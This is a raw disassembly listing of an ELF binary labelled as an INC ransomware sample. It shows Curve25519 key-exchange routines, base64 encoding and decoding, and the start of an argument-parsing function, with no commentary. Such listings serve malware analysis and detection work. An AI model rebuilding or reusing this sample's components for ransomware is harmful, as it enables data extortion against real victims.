File inc_ransom_e16ac4475e24bbe97e50d7940df71079ea2f1dfd1f2bff6a649c09f7503d087c.elf
Function:
    0040b08c
    0040b08ccmult:
    0040b08cpush rbp
    0040b08dmov rbp, rsp
    0040b090sub rsp, 1432
    0040b097mov [rbp-1384], rdi
    0040b09emov [rbp-1392], rsi
    0040b0a5mov [rbp-1400], rdx
    0040b0acmov [rbp-1408], rcx
    0040b0b3lea rsi, [rbp-256]
    0040b0bamov eax, 0
    0040b0bfmov edx, 19
    0040b0c4mov rdi, rsi
    0040b0c7mov rcx, rdx
    0040b0carep stosq [rdi], rax
    0040b0cdlea rsi, [rbp-416]
    0040b0d4mov eax, 0
    0040b0d9mov edx, 19
    0040b0demov rdi, rsi
    0040b0e1mov rcx, rdx
    0040b0e4rep stosq [rdi], rax
    0040b0e7mov [rbp-416], 1
    0040b0f2lea rsi, [rbp-576]
    0040b0f9mov eax, 0
    0040b0femov edx, 19
    0040b103mov rdi, rsi
    0040b106mov rcx, rdx
    0040b109rep stosq [rdi], rax
    0040b10cmov [rbp-576], 1
    0040b117lea rsi, [rbp-736]
    0040b11emov eax, 0
    0040b123mov edx, 19
    0040b128mov rdi, rsi
    0040b12bmov rcx, rdx
    0040b12erep stosq [rdi], rax
    0040b131lea rax, [rbp-256]
    0040b138mov [rbp-8], rax
    0040b13clea rax, [rbp-416]
    0040b143mov [rbp-16], rax
    0040b147lea rax, [rbp-576]
    0040b14emov [rbp-24], rax
    0040b152lea rax, [rbp-736]
    0040b159mov [rbp-32], rax
    0040b15dlea rsi, [rbp-896]
    0040b164mov eax, 0
    0040b169mov edx, 19
    0040b16emov rdi, rsi
    0040b171mov rcx, rdx
    0040b174rep stosq [rdi], rax
    0040b177lea rsi, [rbp-1056]
    0040b17emov eax, 0
    0040b183mov edx, 19
    0040b188mov rdi, rsi
    0040b18bmov rcx, rdx
    0040b18erep stosq [rdi], rax
    0040b191mov [rbp-1056], 1
    0040b19clea rsi, [rbp-1216]
    0040b1a3mov eax, 0
    0040b1a8mov edx, 19
    0040b1admov rdi, rsi
    0040b1b0mov rcx, rdx
    0040b1b3rep stosq [rdi], rax
    0040b1b6lea rsi, [rbp-1376]
    0040b1bdmov eax, 0
    0040b1c2mov edx, 19
    0040b1c7mov rdi, rsi
    0040b1camov rcx, rdx
    0040b1cdrep stosq [rdi], rax
    0040b1d0mov [rbp-1376], 1
    0040b1dblea rax, [rbp-896]
    0040b1e2mov [rbp-40], rax
    0040b1e6lea rax, [rbp-1056]
    0040b1edmov [rbp-48], rax
    0040b1f1lea rax, [rbp-1216]
    0040b1f8mov [rbp-56], rax
    0040b1fclea rax, [rbp-1376]
    0040b203mov [rbp-64], rax
    0040b207mov rdx, [rbp-1408]
    0040b20emov rax, [rbp-8]
    0040b212mov rcx, [rdx]
    0040b215mov [rax], rcx
    0040b218mov rcx, [rdx+8]
    0040b21cmov [rax+8], rcx
    0040b220mov rcx, [rdx+16]
    0040b224mov [rax+16], rcx
    0040b228mov rcx, [rdx+24]
    0040b22cmov [rax+24], rcx
    0040b230mov rcx, [rdx+32]
    0040b234mov [rax+32], rcx
    0040b238mov rcx, [rdx+40]
    0040b23cmov [rax+40], rcx
    0040b240mov rcx, [rdx+48]
    0040b244mov [rax+48], rcx
    0040b248mov rcx, [rdx+56]
    0040b24cmov [rax+56], rcx
    0040b250mov rcx, [rdx+64]
    0040b254mov [rax+64], rcx
    0040b258mov rdx, [rdx+72]
    0040b25cmov [rax+72], rdx
    0040b260mov [rbp-68], 0
    0040b267jmp 0x40b3ab
    0040b26c
    0040b26cloc_40b26c:
    0040b26cmov eax, 31
    0040b271sub eax, [rbp-68]
    0040b274mov eax, eax
    0040b276add rax, [rbp-1400]
    0040b27dmovzx eax, [rax]
    0040b280mov [rbp-73], al
    0040b283mov [rbp-72], 0
    0040b28ajmp 0x40b39d
    0040b28f
    0040b28floc_40b28f:
    0040b28fmovzx eax, [rbp-73]
    0040b293shr al, 7
    0040b296movzx eax, al
    0040b299mov [rbp-88], rax
    0040b29dmov rdx, [rbp-88]
    0040b2a1mov rcx, [rbp-8]
    0040b2a5mov rax, [rbp-24]
    0040b2a9mov rsi, rcx
    0040b2acmov rdi, rax
    0040b2afcall swap_conditional
    0040b2b4mov rdx, [rbp-88]
    0040b2b8mov rcx, [rbp-16]
    0040b2bcmov rax, [rbp-32]
    0040b2c0mov rsi, rcx
    0040b2c3mov rdi, rax
    0040b2c6call swap_conditional
    0040b2cbmov r9, [rbp-32]
    0040b2cfmov r8, [rbp-24]
    0040b2d3mov rcx, [rbp-48]
    0040b2d7mov rdx, [rbp-40]
    0040b2dbmov rsi, [rbp-64]
    0040b2dfmov rax, [rbp-56]
    0040b2e3mov rdi, [rbp-1408]
    0040b2eamov [rsp+16], rdi
    0040b2efmov rdi, [rbp-16]
    0040b2f3mov [rsp+8], rdi
    0040b2f8mov rdi, [rbp-8]
    0040b2fcmov [rsp], rdi
    0040b300mov rdi, rax
    0040b303call fmonty
    0040b308mov rdx, [rbp-88]
    0040b30cmov rcx, [rbp-40]
    0040b310mov rax, [rbp-56]
    0040b314mov rsi, rcx
    0040b317mov rdi, rax
    0040b31acall swap_conditional
    0040b31fmov rdx, [rbp-88]
    0040b323mov rcx, [rbp-48]
    0040b327mov rax, [rbp-64]
    0040b32bmov rsi, rcx
    0040b32emov rdi, rax
    0040b331call swap_conditional
    0040b336mov rax, [rbp-24]
    0040b33amov [rbp-96], rax
    0040b33emov rax, [rbp-56]
    0040b342mov [rbp-24], rax
    0040b346mov rax, [rbp-96]
    0040b34amov [rbp-56], rax
    0040b34emov rax, [rbp-32]
    0040b352mov [rbp-96], rax
    0040b356mov rax, [rbp-64]
    0040b35amov [rbp-32], rax
    0040b35emov rax, [rbp-96]
    0040b362mov [rbp-64], rax
    0040b366mov rax, [rbp-8]
    0040b36amov [rbp-96], rax
    0040b36emov rax, [rbp-40]
    0040b372mov [rbp-8], rax
    0040b376mov rax, [rbp-96]
    0040b37amov [rbp-40], rax
    0040b37emov rax, [rbp-16]
    0040b382mov [rbp-96], rax
    0040b386mov rax, [rbp-48]
    0040b38amov [rbp-16], rax
    0040b38emov rax, [rbp-96]
    0040b392mov [rbp-48], rax
    0040b396shl [rbp-73], 1
    0040b399add [rbp-72], 1
    0040b39d
    0040b39dloc_40b39d:
    0040b39dcmp [rbp-72], 7
    0040b3a1jbe 0x40b28f
    0040b3a7add [rbp-68], 1
    0040b3ab
    0040b3abloc_40b3ab:
    0040b3abcmp [rbp-68], 31
    0040b3afjbe 0x40b26c
    0040b3b5mov rdx, [rbp-24]
    0040b3b9mov rax, [rbp-1384]
    0040b3c0mov rcx, [rdx]
    0040b3c3mov [rax], rcx
    0040b3c6mov rcx, [rdx+8]
    0040b3camov [rax+8], rcx
    0040b3cemov rcx, [rdx+16]
    0040b3d2mov [rax+16], rcx
    0040b3d6mov rcx, [rdx+24]
    0040b3damov [rax+24], rcx
    0040b3demov rcx, [rdx+32]
    0040b3e2mov [rax+32], rcx
    0040b3e6mov rcx, [rdx+40]
    0040b3eamov [rax+40], rcx
    0040b3eemov rcx, [rdx+48]
    0040b3f2mov [rax+48], rcx
    0040b3f6mov rcx, [rdx+56]
    0040b3famov [rax+56], rcx
    0040b3femov rcx, [rdx+64]
    0040b402mov [rax+64], rcx
    0040b406mov rdx, [rdx+72]
    0040b40amov [rax+72], rdx
    0040b40emov rdx, [rbp-32]
    0040b412mov rax, [rbp-1392]
    0040b419mov rcx, [rdx]
    0040b41cmov [rax], rcx
    0040b41fmov rcx, [rdx+8]
    0040b423mov [rax+8], rcx
    0040b427mov rcx, [rdx+16]
    0040b42bmov [rax+16], rcx
    0040b42fmov rcx, [rdx+24]
    0040b433mov [rax+24], rcx
    0040b437mov rcx, [rdx+32]
    0040b43bmov [rax+32], rcx
    0040b43fmov rcx, [rdx+40]
    0040b443mov [rax+40], rcx
    0040b447mov rcx, [rdx+48]
    0040b44bmov [rax+48], rcx
    0040b44fmov rcx, [rdx+56]
    0040b453mov [rax+56], rcx
    0040b457mov rcx, [rdx+64]
    0040b45bmov [rax+64], rcx
    0040b45fmov rdx, [rdx+72]
    0040b463mov [rax+72], rdx
    0040b467leave
    0040b468ret
    0040b08c
    0040b469
    0040b469crecip:
    0040b469push rbp
    0040b46amov rbp, rsp
    0040b46dsub rsp, 832
    0040b474mov [rbp-824], rdi
    0040b47bmov [rbp-832], rsi
    0040b482mov rdx, [rbp-832]
    0040b489lea rax, [rbp-96]
    0040b48dmov rsi, rdx
    0040b490mov rdi, rax
    0040b493call fsquare
    0040b498lea rdx, [rbp-96]
    0040b49clea rax, [rbp-816]
    0040b4a3mov rsi, rdx
    0040b4a6mov rdi, rax
    0040b4a9call fsquare
    0040b4aelea rdx, [rbp-816]
    0040b4b5lea rax, [rbp-736]
    0040b4bcmov rsi, rdx
    0040b4bfmov rdi, rax
    0040b4c2call fsquare
    0040b4c7mov rdx, [rbp-832]
    0040b4celea rcx, [rbp-736]
    0040b4d5lea rax, [rbp-176]
    0040b4dcmov rsi, rcx
    0040b4dfmov rdi, rax
    0040b4e2call fmul
    0040b4e7lea rdx, [rbp-96]
    0040b4eblea rcx, [rbp-176]
    0040b4f2lea rax, [rbp-256]
    0040b4f9mov rsi, rcx
    0040b4fcmov rdi, rax
    0040b4ffcall fmul
    0040b504lea rdx, [rbp-256]
    0040b50blea rax, [rbp-736]
    0040b512mov rsi, rdx
    0040b515mov rdi, rax
    0040b518call fsquare
    0040b51dlea rdx, [rbp-176]
    0040b524lea rcx, [rbp-736]
    0040b52blea rax, [rbp-336]
    0040b532mov rsi, rcx
    0040b535mov rdi, rax
    0040b538call fmul
    0040b53dlea rdx, [rbp-336]
    0040b544lea rax, [rbp-736]
    0040b54bmov rsi, rdx
    0040b54emov rdi, rax
    0040b551call fsquare
    0040b556lea rdx, [rbp-736]
    0040b55dlea rax, [rbp-816]
    0040b564mov rsi, rdx
    0040b567mov rdi, rax
    0040b56acall fsquare
    0040b56flea rdx, [rbp-816]
    0040b576lea rax, [rbp-736]
    0040b57dmov rsi, rdx
    0040b580mov rdi, rax
    0040b583call fsquare
    0040b588lea rdx, [rbp-736]
    0040b58flea rax, [rbp-816]
    0040b596mov rsi, rdx
    0040b599mov rdi, rax
    0040b59ccall fsquare
    0040b5a1lea rdx, [rbp-816]
    0040b5a8lea rax, [rbp-736]
    0040b5afmov rsi, rdx
    0040b5b2mov rdi, rax
    0040b5b5call fsquare
    0040b5balea rdx, [rbp-336]
    0040b5c1lea rcx, [rbp-736]
    0040b5c8lea rax, [rbp-416]
    0040b5cfmov rsi, rcx
    0040b5d2mov rdi, rax
    0040b5d5call fmul
    0040b5dalea rdx, [rbp-416]
    0040b5e1lea rax, [rbp-736]
    0040b5e8mov rsi, rdx
    0040b5ebmov rdi, rax
    0040b5eecall fsquare
    0040b5f3lea rdx, [rbp-736]
    0040b5falea rax, [rbp-816]
    0040b601mov rsi, rdx
    0040b604mov rdi, rax
    0040b607call fsquare
    0040b60cmov [rbp-4], 2
    0040b613jmp 0x40b64b
    0040b615
    0040b615loc_40b615:
    0040b615lea rdx, [rbp-816]
    0040b61clea rax, [rbp-736]
    0040b623mov rsi, rdx
    0040b626mov rdi, rax
    0040b629call fsquare
    0040b62elea rdx, [rbp-736]
    0040b635lea rax, [rbp-816]
    0040b63cmov rsi, rdx
    0040b63fmov rdi, rax
    0040b642call fsquare
    0040b647add [rbp-4], 2
    0040b64b
    0040b64bloc_40b64b:
    0040b64bcmp [rbp-4], 9
    0040b64fjle 0x40b615
    0040b651lea rdx, [rbp-416]
    0040b658lea rcx, [rbp-816]
    0040b65flea rax, [rbp-496]
    0040b666mov rsi, rcx
    0040b669mov rdi, rax
    0040b66ccall fmul
    0040b671lea rdx, [rbp-496]
    0040b678lea rax, [rbp-736]
    0040b67fmov rsi, rdx
    0040b682mov rdi, rax
    0040b685call fsquare
    0040b68alea rdx, [rbp-736]
    0040b691lea rax, [rbp-816]
    0040b698mov rsi, rdx
    0040b69bmov rdi, rax
    0040b69ecall fsquare
    0040b6a3mov [rbp-4], 2
    0040b6aajmp 0x40b6e2
    0040b6ac
    0040b6acloc_40b6ac:
    0040b6aclea rdx, [rbp-816]
    0040b6b3lea rax, [rbp-736]
    0040b6bamov rsi, rdx
    0040b6bdmov rdi, rax
    0040b6c0call fsquare
    0040b6c5lea rdx, [rbp-736]
    0040b6cclea rax, [rbp-816]
    0040b6d3mov rsi, rdx
    0040b6d6mov rdi, rax
    0040b6d9call fsquare
    0040b6deadd [rbp-4], 2
    0040b6e2
    0040b6e2loc_40b6e2:
    0040b6e2cmp [rbp-4], 19
    0040b6e6jle 0x40b6ac
    0040b6e8lea rdx, [rbp-496]
    0040b6eflea rcx, [rbp-816]
    0040b6f6lea rax, [rbp-736]
    0040b6fdmov rsi, rcx
    0040b700mov rdi, rax
    0040b703call fmul
    0040b708lea rdx, [rbp-736]
    0040b70flea rax, [rbp-816]
    0040b716mov rsi, rdx
    0040b719mov rdi, rax
    0040b71ccall fsquare
    0040b721lea rdx, [rbp-816]
    0040b728lea rax, [rbp-736]
    0040b72fmov rsi, rdx
    0040b732mov rdi, rax
    0040b735call fsquare
    0040b73amov [rbp-4], 2
    0040b741jmp 0x40b779
    0040b743
    0040b743loc_40b743:
    0040b743lea rdx, [rbp-736]
    0040b74alea rax, [rbp-816]
    0040b751mov rsi, rdx
    0040b754mov rdi, rax
    0040b757call fsquare
    0040b75clea rdx, [rbp-816]
    0040b763lea rax, [rbp-736]
    0040b76amov rsi, rdx
    0040b76dmov rdi, rax
    0040b770call fsquare
    0040b775add [rbp-4], 2
    0040b779
    0040b779loc_40b779:
    0040b779cmp [rbp-4], 9
    0040b77djle 0x40b743
    0040b77flea rdx, [rbp-416]
    0040b786lea rcx, [rbp-736]
    0040b78dlea rax, [rbp-576]
    0040b794mov rsi, rcx
    0040b797mov rdi, rax
    0040b79acall fmul
    0040b79flea rdx, [rbp-576]
    0040b7a6lea rax, [rbp-736]
    0040b7admov rsi, rdx
    0040b7b0mov rdi, rax
    0040b7b3call fsquare
    0040b7b8lea rdx, [rbp-736]
    0040b7bflea rax, [rbp-816]
    0040b7c6mov rsi, rdx
    0040b7c9mov rdi, rax
    0040b7cccall fsquare
    0040b7d1mov [rbp-4], 2
    0040b7d8jmp 0x40b810
    0040b7da
    0040b7daloc_40b7da:
    0040b7dalea rdx, [rbp-816]
    0040b7e1lea rax, [rbp-736]
    0040b7e8mov rsi, rdx
    0040b7ebmov rdi, rax
    0040b7eecall fsquare
    0040b7f3lea rdx, [rbp-736]
    0040b7falea rax, [rbp-816]
    0040b801mov rsi, rdx
    0040b804mov rdi, rax
    0040b807call fsquare
    0040b80cadd [rbp-4], 2
    0040b810
    0040b810loc_40b810:
    0040b810cmp [rbp-4], 49
    0040b814jle 0x40b7da
    0040b816lea rdx, [rbp-576]
    0040b81dlea rcx, [rbp-816]
    0040b824lea rax, [rbp-656]
    0040b82bmov rsi, rcx
    0040b82emov rdi, rax
    0040b831call fmul
    0040b836lea rdx, [rbp-656]
    0040b83dlea rax, [rbp-816]
    0040b844mov rsi, rdx
    0040b847mov rdi, rax
    0040b84acall fsquare
    0040b84flea rdx, [rbp-816]
    0040b856lea rax, [rbp-736]
    0040b85dmov rsi, rdx
    0040b860mov rdi, rax
    0040b863call fsquare
    0040b868mov [rbp-4], 2
    0040b86fjmp 0x40b8a7
    0040b871
    0040b871loc_40b871:
    0040b871lea rdx, [rbp-736]
    0040b878lea rax, [rbp-816]
    0040b87fmov rsi, rdx
    0040b882mov rdi, rax
    0040b885call fsquare
    0040b88alea rdx, [rbp-816]
    0040b891lea rax, [rbp-736]
    0040b898mov rsi, rdx
    0040b89bmov rdi, rax
    0040b89ecall fsquare
    0040b8a3add [rbp-4], 2
    0040b8a7
    0040b8a7loc_40b8a7:
    0040b8a7cmp [rbp-4], 99
    0040b8abjle 0x40b871
    0040b8adlea rdx, [rbp-656]
    0040b8b4lea rcx, [rbp-736]
    0040b8bblea rax, [rbp-816]
    0040b8c2mov rsi, rcx
    0040b8c5mov rdi, rax
    0040b8c8call fmul
    0040b8cdlea rdx, [rbp-816]
    0040b8d4lea rax, [rbp-736]
    0040b8dbmov rsi, rdx
    0040b8demov rdi, rax
    0040b8e1call fsquare
    0040b8e6lea rdx, [rbp-736]
    0040b8edlea rax, [rbp-816]
    0040b8f4mov rsi, rdx
    0040b8f7mov rdi, rax
    0040b8facall fsquare
    0040b8ffmov [rbp-4], 2
    0040b906jmp 0x40b93e
    0040b908
    0040b908loc_40b908:
    0040b908lea rdx, [rbp-816]
    0040b90flea rax, [rbp-736]
    0040b916mov rsi, rdx
    0040b919mov rdi, rax
    0040b91ccall fsquare
    0040b921lea rdx, [rbp-736]
    0040b928lea rax, [rbp-816]
    0040b92fmov rsi, rdx
    0040b932mov rdi, rax
    0040b935call fsquare
    0040b93aadd [rbp-4], 2
    0040b93e
    0040b93eloc_40b93e:
    0040b93ecmp [rbp-4], 49
    0040b942jle 0x40b908
    0040b944lea rdx, [rbp-576]
    0040b94blea rcx, [rbp-816]
    0040b952lea rax, [rbp-736]
    0040b959mov rsi, rcx
    0040b95cmov rdi, rax
    0040b95fcall fmul
    0040b964lea rdx, [rbp-736]
    0040b96blea rax, [rbp-816]
    0040b972mov rsi, rdx
    0040b975mov rdi, rax
    0040b978call fsquare
    0040b97dlea rdx, [rbp-816]
    0040b984lea rax, [rbp-736]
    0040b98bmov rsi, rdx
    0040b98emov rdi, rax
    0040b991call fsquare
    0040b996lea rdx, [rbp-736]
    0040b99dlea rax, [rbp-816]
    0040b9a4mov rsi, rdx
    0040b9a7mov rdi, rax
    0040b9aacall fsquare
    0040b9aflea rdx, [rbp-816]
    0040b9b6lea rax, [rbp-736]
    0040b9bdmov rsi, rdx
    0040b9c0mov rdi, rax
    0040b9c3call fsquare
    0040b9c8lea rdx, [rbp-736]
    0040b9cflea rax, [rbp-816]
    0040b9d6mov rsi, rdx
    0040b9d9mov rdi, rax
    0040b9dccall fsquare
    0040b9e1lea rdx, [rbp-256]
    0040b9e8lea rcx, [rbp-816]
    0040b9efmov rax, [rbp-824]
    0040b9f6mov rsi, rcx
    0040b9f9mov rdi, rax
    0040b9fccall fmul
    0040ba01leave
    0040ba02ret
    0040b469
    0040ba03
    0040ba03curve25519_donna:
    0040ba03push rbp
    0040ba04mov rbp, rsp
    0040ba07sub rsp, 408
    0040ba0emov [rbp-392], rdi
    0040ba15mov [rbp-400], rsi
    0040ba1cmov [rbp-408], rdx
    0040ba23mov [rbp-4], 0
    0040ba2ajmp 0x40ba4b
    0040ba2c
    0040ba2cloc_40ba2c:
    0040ba2cmov eax, [rbp-4]
    0040ba2fcdqe
    0040ba31add rax, [rbp-400]
    0040ba38movzx edx, [rax]
    0040ba3bmov eax, [rbp-4]
    0040ba3ecdqe
    0040ba40mov [rbp+rax-384], dl
    0040ba47add [rbp-4], 1
    0040ba4b
    0040ba4bloc_40ba4b:
    0040ba4bcmp [rbp-4], 31
    0040ba4fjle 0x40ba2c
    0040ba51movzx eax, [rbp-384]
    0040ba58and eax, -8
    0040ba5bmov [rbp-384], al
    0040ba61movzx eax, [rbp-353]
    0040ba68and eax, 127
    0040ba6bmov [rbp-353], al
    0040ba71movzx eax, [rbp-353]
    0040ba78or eax, 64
    0040ba7bmov [rbp-353], al
    0040ba81mov rdx, [rbp-408]
    0040ba88lea rax, [rbp-96]
    0040ba8cmov rsi, rdx
    0040ba8fmov rdi, rax
    0040ba92call fexpand
    0040ba97lea rcx, [rbp-96]
    0040ba9blea rdx, [rbp-384]
    0040baa2lea rsi, [rbp-272]
    0040baa9lea rax, [rbp-176]
    0040bab0mov rdi, rax
    0040bab3call cmult
    0040bab8lea rdx, [rbp-272]
    0040babflea rax, [rbp-352]
    0040bac6mov rsi, rdx
    0040bac9mov rdi, rax
    0040bacccall crecip
    0040bad1lea rdx, [rbp-352]
    0040bad8lea rcx, [rbp-176]
    0040badflea rax, [rbp-272]
    0040bae6mov rsi, rcx
    0040bae9mov rdi, rax
    0040baeccall fmul
    0040baf1lea rdx, [rbp-272]
    0040baf8mov rax, [rbp-392]
    0040baffmov rsi, rdx
    0040bb02mov rdi, rax
    0040bb05call fcontract
    0040bb0amov eax, 0
    0040bb0fleave
    0040bb10ret
    0040ba03
    0040bb11
    0040bb11 90 90 90 ...
    0040bb14
    0040bb14base64_encode:
    0040bb14push rbp
    0040bb15mov rbp, rsp
    0040bb18mov [rbp-24], rdi
    0040bb1cmov [rbp-28], esi
    0040bb1fmov [rbp-40], rdx
    0040bb23mov [rbp-4], 0
    0040bb2amov [rbp-13], 0
    0040bb2emov [rbp-12], 0
    0040bb35mov eax, [rbp-12]
    0040bb38mov [rbp-8], eax
    0040bb3bjmp 0x40bc32
    0040bb40
    0040bb40loc_40bb40:
    0040bb40mov eax, [rbp-8]
    0040bb43add rax, [rbp-24]
    0040bb47movzx eax, [rax]
    0040bb4amov [rbp-14], al
    0040bb4dmov eax, [rbp-4]
    0040bb50cmp eax, 1
    0040bb53je 0x40bb92
    0040bb55cmp eax, 2
    0040bb58je 0x40bbcd
    0040bb5atest eax, eax
    0040bb5cjne 0x40bc27
    0040bb62mov [rbp-4], 1
    0040bb69mov eax, [rbp-12]
    0040bb6cadd rax, [rbp-40]
    0040bb70movzx edx, [rbp-14]
    0040bb74shr dl, 2
    0040bb77movzx edx, dl
    0040bb7aand edx, 63
    0040bb7dmovsxd rdx, edx
    0040bb80movzx edx, [rdx+0x40ef80]
    0040bb87mov [rax], dl
    0040bb89add [rbp-12], 1
    0040bb8djmp 0x40bc27
    0040bb92
    0040bb92loc_40bb92:
    0040bb92mov [rbp-4], 2
    0040bb99mov eax, [rbp-12]
    0040bb9cadd rax, [rbp-40]
    0040bba0movzx edx, [rbp-13]
    0040bba4and edx, 3
    0040bba7mov ecx, edx
    0040bba9shl ecx, 4
    0040bbacmovzx edx, [rbp-14]
    0040bbb0shr dl, 4
    0040bbb3movzx edx, dl
    0040bbb6and edx, 15
    0040bbb9or edx, ecx
    0040bbbbmovsxd rdx, edx
    0040bbbemovzx edx, [rdx+0x40ef80]
    0040bbc5mov [rax], dl
    0040bbc7add [rbp-12], 1
    0040bbcbjmp 0x40bc27
    0040bbcd
    0040bbcdloc_40bbcd:
    0040bbcdmov [rbp-4], 0
    0040bbd4mov eax, [rbp-12]
    0040bbd7add rax, [rbp-40]
    0040bbdbmovzx edx, [rbp-13]
    0040bbdfand edx, 15
    0040bbe2lea ecx, [4*rdx]
    0040bbe9movzx edx, [rbp-14]
    0040bbedshr dl, 6
    0040bbf0movzx edx, dl
    0040bbf3and edx, 3
    0040bbf6or edx, ecx
    0040bbf8movsxd rdx, edx
    0040bbfbmovzx edx, [rdx+0x40ef80]
    0040bc02mov [rax], dl
    0040bc04add [rbp-12], 1
    0040bc08mov eax, [rbp-12]
    0040bc0badd rax, [rbp-40]
    0040bc0fmovzx edx, [rbp-14]
    0040bc13and edx, 63
    0040bc16movsxd rdx, edx
    0040bc19movzx edx, [rdx+0x40ef80]
    0040bc20mov [rax], dl
    0040bc22add [rbp-12], 1
    0040bc26nop
    0040bc27
    0040bc27loc_40bc27:
    0040bc27movzx eax, [rbp-14]
    0040bc2bmov [rbp-13], al
    0040bc2eadd [rbp-8], 1
    0040bc32
    0040bc32loc_40bc32:
    0040bc32mov eax, [rbp-8]
    0040bc35cmp eax, [rbp-28]
    0040bc38jb 0x40bb40
    0040bc3emov eax, [rbp-4]
    0040bc41cmp eax, 1
    0040bc44je 0x40bc4d
    0040bc46cmp eax, 2
    0040bc49je 0x40bc8c
    0040bc4bjmp 0x40bcbc
    0040bc4d
    0040bc4dloc_40bc4d:
    0040bc4dmov eax, [rbp-12]
    0040bc50add rax, [rbp-40]
    0040bc54movzx edx, [rbp-13]
    0040bc58and edx, 3
    0040bc5bshl edx, 4
    0040bc5emovsxd rdx, edx
    0040bc61movzx edx, [rdx+0x40ef80]
    0040bc68mov [rax], dl
    0040bc6aadd [rbp-12], 1
    0040bc6emov eax, [rbp-12]
    0040bc71add rax, [rbp-40]
    0040bc75mov [rax], 61
    0040bc78add [rbp-12], 1
    0040bc7cmov eax, [rbp-12]
    0040bc7fadd rax, [rbp-40]
    0040bc83mov [rax], 61
    0040bc86add [rbp-12], 1
    0040bc8ajmp 0x40bcbc
    0040bc8c
    0040bc8cloc_40bc8c:
    0040bc8cmov eax, [rbp-12]
    0040bc8fadd rax, [rbp-40]
    0040bc93movzx edx, [rbp-13]
    0040bc97and edx, 15
    0040bc9ashl edx, 2
    0040bc9dmovsxd rdx, edx
    0040bca0movzx edx, [rdx+0x40ef80]
    0040bca7mov [rax], dl
    0040bca9add [rbp-12], 1
    0040bcadmov eax, [rbp-12]
    0040bcb0add rax, [rbp-40]
    0040bcb4mov [rax], 61
    0040bcb7add [rbp-12], 1
    0040bcbbnop
    0040bcbc
    0040bcbcloc_40bcbc:
    0040bcbcmov eax, [rbp-12]
    0040bcbfadd rax, [rbp-40]
    0040bcc3mov [rax], 0
    0040bcc6mov eax, [rbp-12]
    0040bcc9pop rbp
    0040bccaret
    0040bb14
    0040bccb
    0040bccbbase64_decode:
    0040bccbpush rbp
    0040bcccmov rbp, rsp
    0040bccfmov [rbp-24], rdi
    0040bcd3mov [rbp-28], esi
    0040bcd6mov [rbp-40], rdx
    0040bcdamov eax, [rbp-28]
    0040bcddand eax, 3
    0040bce0test eax, eax
    0040bce2je 0x40bcee
    0040bce4mov eax, 0
    0040bce9jmp 0x40be37
    0040bcee
    0040bceeloc_40bcee:
    0040bceemov [rbp-8], 0
    0040bcf5mov eax, [rbp-8]
    0040bcf8mov [rbp-4], eax
    0040bcfbjmp 0x40be25
    0040bd00
    0040bd00loc_40bd00:
    0040bd00mov eax, [rbp-4]
    0040bd03add rax, [rbp-24]
    0040bd07movzx eax, [rax]
    0040bd0acmp al, 61
    0040bd0cje 0x40be33
    0040bd12mov eax, [rbp-4]
    0040bd15add rax, [rbp-24]
    0040bd19movzx eax, [rax]
    0040bd1ccmp al, 42
    0040bd1ejle 0x40bd2e
    0040bd20mov eax, [rbp-4]
    0040bd23add rax, [rbp-24]
    0040bd27movzx eax, [rax]
    0040bd2acmp al, 122
    0040bd2cjle 0x40bd38
    0040bd2e
    0040bd2eloc_40bd2e:
    0040bd2emov eax, 0
    0040bd33jmp 0x40be37
    0040bd38
    0040bd38loc_40bd38:
    0040bd38mov eax, [rbp-4]
    0040bd3badd rax, [rbp-24]
    0040bd3fmovzx eax, [rax]
    0040bd42movzx eax, al
    0040bd45cdqe
    0040bd47movzx eax, [rax+0x40efc0]
    0040bd4emov [rbp-9], al
    0040bd51cmp [rbp-9], -1
    0040bd55jne 0x40bd61
    0040bd57mov eax, 0
    0040bd5cjmp 0x40be37
    0040bd61
    0040bd61loc_40bd61:
    0040bd61mov eax, [rbp-4]
    0040bd64and eax, 3
    0040bd67cmp eax, 1
    0040bd6aje 0x40bd99
    0040bd6ccmp eax, 1
    0040bd6fjb 0x40bd84
    0040bd71cmp eax, 2
    0040bd74je 0x40bdcf
    0040bd76cmp eax, 3
    0040bd79je 0x40be05
    0040bd7fjmp 0x40be21
    0040bd84
    0040bd84loc_40bd84:
    0040bd84mov eax, [rbp-8]
    0040bd87add rax, [rbp-40]
    0040bd8bmovzx edx, [rbp-9]
    0040bd8fshl edx, 2
    0040bd92mov [rax], dl
    0040bd94jmp 0x40be21
    0040bd99
    0040bd99loc_40bd99:
    0040bd99mov eax, [rbp-8]
    0040bd9cmov edx, eax
    0040bd9eadd rdx, [rbp-40]
    0040bda2mov eax, eax
    0040bda4add rax, [rbp-40]
    0040bda8movzx eax, [rax]
    0040bdabmovzx ecx, [rbp-9]
    0040bdafshr cl, 4
    0040bdb2and ecx, 3
    0040bdb5or eax, ecx
    0040bdb7mov [rdx], al
    0040bdb9add [rbp-8], 1
    0040bdbdmov eax, [rbp-8]
    0040bdc0add rax, [rbp-40]
    0040bdc4movzx edx, [rbp-9]
    0040bdc8shl edx, 4
    0040bdcbmov [rax], dl
    0040bdcdjmp 0x40be21
    0040bdcf
    0040bdcfloc_40bdcf:
    0040bdcfmov eax, [rbp-8]
    0040bdd2mov edx, eax
    0040bdd4add rdx, [rbp-40]
    0040bdd8mov eax, eax
    0040bddaadd rax, [rbp-40]
    0040bddemovzx eax, [rax]
    0040bde1movzx ecx, [rbp-9]
    0040bde5shr cl, 2
    0040bde8and ecx, 15
    0040bdebor eax, ecx
    0040bdedmov [rdx], al
    0040bdefadd [rbp-8], 1
    0040bdf3mov eax, [rbp-8]
    0040bdf6add rax, [rbp-40]
    0040bdfamovzx edx, [rbp-9]
    0040bdfeshl edx, 6
    0040be01mov [rax], dl
    0040be03jmp 0x40be21
    0040be05
    0040be05loc_40be05:
    0040be05mov eax, [rbp-8]
    0040be08mov edx, eax
    0040be0aadd rdx, [rbp-40]
    0040be0emov eax, eax
    0040be10add rax, [rbp-40]
    0040be14movzx eax, [rax]
    0040be17or al, [rbp-9]
    0040be1amov [rdx], al
    0040be1cadd [rbp-8], 1
    0040be20nop
    0040be21
    0040be21loc_40be21:
    0040be21add [rbp-4], 1
    0040be25
    0040be25loc_40be25:
    0040be25mov eax, [rbp-4]
    0040be28cmp eax, [rbp-28]
    0040be2bjb 0x40bd00
    0040be31jmp 0x40be34
    0040be33
    0040be33loc_40be33:
    0040be33nop
    0040be34
    0040be34loc_40be34:
    0040be34mov eax, [rbp-8]
    0040be37
    0040be37loc_40be37:
    0040be37pop rbp
    0040be38ret
    0040bccb
    0040be39
    0040be39 90 90 90 ...
    0040be3c
    0040be3cargz_option:
    0040be3cpush rbp
    0040be3dmov rbp, rsp
    0040be40sub rsp, 48
